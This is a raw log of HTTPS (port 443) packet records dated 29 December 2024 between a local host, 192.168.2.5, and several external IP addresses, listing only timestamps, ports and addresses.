Dec 29, 2024 05:45:21.890969038 CET	443	49751	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:21.924758911 CET	49751	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:21.924774885 CET	443	49751	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:22.933288097 CET	443	49751	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:22.933348894 CET	443	49751	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:22.933376074 CET	49751	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:22.933406115 CET	49751	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:22.934376001 CET	49751	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:22.934386015 CET	443	49751	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.131994009 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.132081032 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.132771969 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.132791042 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159008980 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159018993 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159096956 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159116983 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159122944 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159133911 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159219980 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159244061 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159250975 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159259081 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159358025 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159377098 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159389973 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159395933 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159460068 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159470081 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159497976 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159509897 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159568071 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159579039 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159600019 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159615993 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159662962 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159674883 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159724951 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159738064 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159754038 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159759045 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159786940 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159794092 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159825087 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159835100 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.159842014 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.159846067 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.682770014 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.682796955 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:23.682877064 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.683118105 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:23.683129072 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.092926979 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.092978954 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.093012094 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.093039036 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.093802929 CET	49753	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.093822956 CET	443	49753	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.177257061 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.177370071 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.177750111 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.177757025 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.193006039 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.193010092 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.193118095 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.193135023 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.193240881 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.193259954 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.193340063 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.193352938 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.730767012 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.730830908 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:25.730916977 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.731158018 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:25.731174946 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:26.710381985 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:26.710449934 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:26.710622072 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:26.711253881 CET	49760	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:26.711261034 CET	443	49760	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:26.748708010 CET	49770	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:26.748735905 CET	443	49770	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:26.748805046 CET	49770	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:26.749006033 CET	49770	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:26.749017954 CET	443	49770	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.127753019 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.129383087 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.129806995 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.129837036 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150326967 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150352001 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150408030 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150439978 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150453091 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150477886 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150564909 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150599957 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150630951 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150645971 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150707960 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150734901 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150747061 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150757074 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150755882 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150769949 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150851011 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150870085 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150883913 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150899887 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:27.150945902 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:27.150962114 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:28.236102104 CET	443	49770	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:28.236174107 CET	49770	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:28.251521111 CET	49770	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:28.251537085 CET	443	49770	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:28.302170038 CET	49770	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:28.302180052 CET	443	49770	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:28.949980974 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:28.950033903 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:28.950113058 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:29.056368113 CET	49766	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:29.056396961 CET	443	49766	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:29.302875042 CET	443	49770	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:29.302939892 CET	443	49770	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:29.303060055 CET	49770	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:29.721584082 CET	49770	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:29.721599102 CET	443	49770	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:33.211656094 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:33.211735010 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:33.211834908 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:33.212436914 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:33.212460041 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:33.367780924 CET	49800	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:33.367835045 CET	443	49800	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:33.367892027 CET	49800	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:33.368340015 CET	49800	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:33.368355989 CET	443	49800	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:34.579821110 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:34.579924107 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:34.580056906 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:34.580935001 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:34.580965996 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:34.656681061 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:34.656820059 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:34.657474041 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:34.657493114 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:34.711493969 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:34.711539984 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:34.711582899 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:34.711595058 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:34.754633904 CET	49812	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.754698038 CET	443	49812	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.755497932 CET	49812	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.757936001 CET	49812	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.757968903 CET	443	49812	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.758554935 CET	49813	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.758584976 CET	443	49813	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.758735895 CET	49813	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.758995056 CET	49813	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.759011030 CET	443	49813	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.762881041 CET	49814	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:34.762950897 CET	443	49814	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:34.763025045 CET	49814	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:34.764091969 CET	49814	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:34.764115095 CET	443	49814	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:34.949970007 CET	49812	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.951006889 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.951088905 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.951502085 CET	49800	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:34.951529026 CET	49813	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.951658010 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.952183962 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:34.952228069 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:34.952533007 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.952555895 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.952575922 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:34.952610970 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.953010082 CET	49814	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:34.953483105 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:34.953505993 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:34.953782082 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.953788042 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:34.953814983 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:34.953816891 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.953851938 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:34.954129934 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:34.954144955 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.954463959 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:34.954477072 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:34.995352030 CET	443	49813	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.995362997 CET	443	49812	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:34.995398045 CET	443	49800	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:34.999342918 CET	443	49814	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:35.308382034 CET	443	49800	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:35.308480024 CET	443	49800	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:35.308514118 CET	49800	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:35.308552980 CET	49800	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:35.522345066 CET	49825	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:35.522414923 CET	443	49825	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:35.522475958 CET	49825	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:35.522916079 CET	49826	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:35.522939920 CET	443	49826	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:35.523147106 CET	49826	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:35.523399115 CET	49825	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:35.523415089 CET	443	49825	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:35.523709059 CET	49826	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:35.523720980 CET	443	49826	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:35.532264948 CET	49827	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:35.532288074 CET	443	49827	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:35.532341003 CET	49827	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:35.532839060 CET	49827	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:35.532849073 CET	443	49827	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:35.735160112 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:35.735227108 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:35.735230923 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:35.735305071 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:35.736180067 CET	49799	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:35.736213923 CET	443	49799	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:35.765429020 CET	49839	443	192.168.2.5	18.161.69.30
Dec 29, 2024 05:45:35.765449047 CET	443	49839	18.161.69.30	192.168.2.5
Dec 29, 2024 05:45:35.765527964 CET	49839	443	192.168.2.5	18.161.69.30
Dec 29, 2024 05:45:35.765856028 CET	49839	443	192.168.2.5	18.161.69.30
Dec 29, 2024 05:45:35.765866995 CET	443	49839	18.161.69.30	192.168.2.5
Dec 29, 2024 05:45:35.968810081 CET	443	49812	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:35.968888044 CET	49812	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:35.968893051 CET	443	49812	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:35.968961000 CET	49812	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:35.970043898 CET	443	49813	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:35.970103979 CET	49813	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.024936914 CET	443	49814	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.025022030 CET	443	49814	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.025087118 CET	49814	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.025127888 CET	49814	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.025824070 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.025893927 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.026633978 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.026658058 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.052220106 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.052237034 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.052438021 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.052469969 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.052483082 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.052501917 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.052601099 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.052632093 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.052653074 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.052670002 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.052892923 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.052932024 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.053107977 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.053138018 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.053390026 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.053423882 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.053457975 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.053472042 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.053700924 CET	49811	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.053719044 CET	443	49811	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.207056999 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.208116055 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.208153009 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.209047079 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.209116936 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.210205078 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.210268021 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.210602999 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.210613012 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.254111052 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.254473925 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.254534960 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.254621029 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.254826069 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.254844904 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.255523920 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.255589962 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.255700111 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.255795002 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.256856918 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.256921053 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.257081032 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.257133961 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.257327080 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.257344007 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.257430077 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.257436991 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.285237074 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.331453085 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.467333078 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.467437029 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.615679026 CET	49846	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.615701914 CET	443	49846	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.615784883 CET	49846	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.616246939 CET	49846	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:36.616256952 CET	443	49846	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:36.650387049 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.650444031 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.650559902 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.650892973 CET	49820	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.650912046 CET	443	49820	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.693453074 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:36.693788052 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:36.693828106 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:36.694156885 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:36.694169998 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:36.694365978 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:36.694385052 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:36.694454908 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:36.694761038 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:36.699053049 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:36.699129105 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:36.699418068 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:36.699433088 CET	443	49819	142.250.181.65	192.168.2.5
Dec 29, 2024 05:45:36.706995010 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.707051992 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.707494020 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.707560062 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.707617998 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.707698107 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.710694075 CET	49817	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.710724115 CET	443	49817	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.714046955 CET	49824	443	192.168.2.5	162.159.61.3
Dec 29, 2024 05:45:36.714057922 CET	443	49824	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.740238905 CET	49819	443	192.168.2.5	142.250.181.65
Dec 29, 2024 05:45:36.778728008 CET	443	49825	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.779395103 CET	49825	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.779423952 CET	443	49825	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.780307055 CET	443	49825	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.780415058 CET	49825	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.780812979 CET	49825	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.780874968 CET	443	49825	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.781069040 CET	49825	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.781084061 CET	443	49825	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.788077116 CET	443	49827	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.789418936 CET	49827	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.789444923 CET	443	49827	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.790488005 CET	443	49827	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.790586948 CET	49827	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.794281960 CET	49827	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:45:36.794490099 CET	443	49827	172.64.41.3	192.168.2.5
Dec 29, 2024 05:45:36.822772980 CET	443	49826	162.159.61.3	192.168.2.5
Dec 29, 2024 05:45:36.823046923 CET	49826	443	192.168.2.5	162.159.61.3
